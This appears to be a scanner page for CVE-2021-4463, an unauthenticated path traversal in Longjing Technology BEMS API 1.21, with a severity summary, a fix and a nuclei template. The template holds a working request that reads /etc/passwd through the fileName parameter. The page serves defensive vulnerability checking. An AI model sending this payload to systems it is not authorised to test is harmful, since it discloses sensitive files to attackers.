Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.

Impact

Unauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure.

Fix

Update to the latest version beyond 1.21.

How to confirm it

Send: GET {{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-4463 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-4463

info:
  name: Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download
  author: gy741
  severity: high
  description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
  impact: |
    Unauthenticated attackers can download sensitive files outside the intended directory, leading to information disclosure.
  remediation: |
    Update to the latest version beyond 1.21.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
    - https://packetstormsecurity.com/files/163702/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4463
    - https://www.cve.org/CVERecord?id=CVE-2021-4463
    - https://www.exploit-db.com/exploits/50163
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22,CWE-552
    cve-id: CVE-2021-4463
    epss-score: 0.01543
    epss-percentile: 0.75171
  metadata:
    max-request: 1
  tags: cve,cve2021,lfi,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from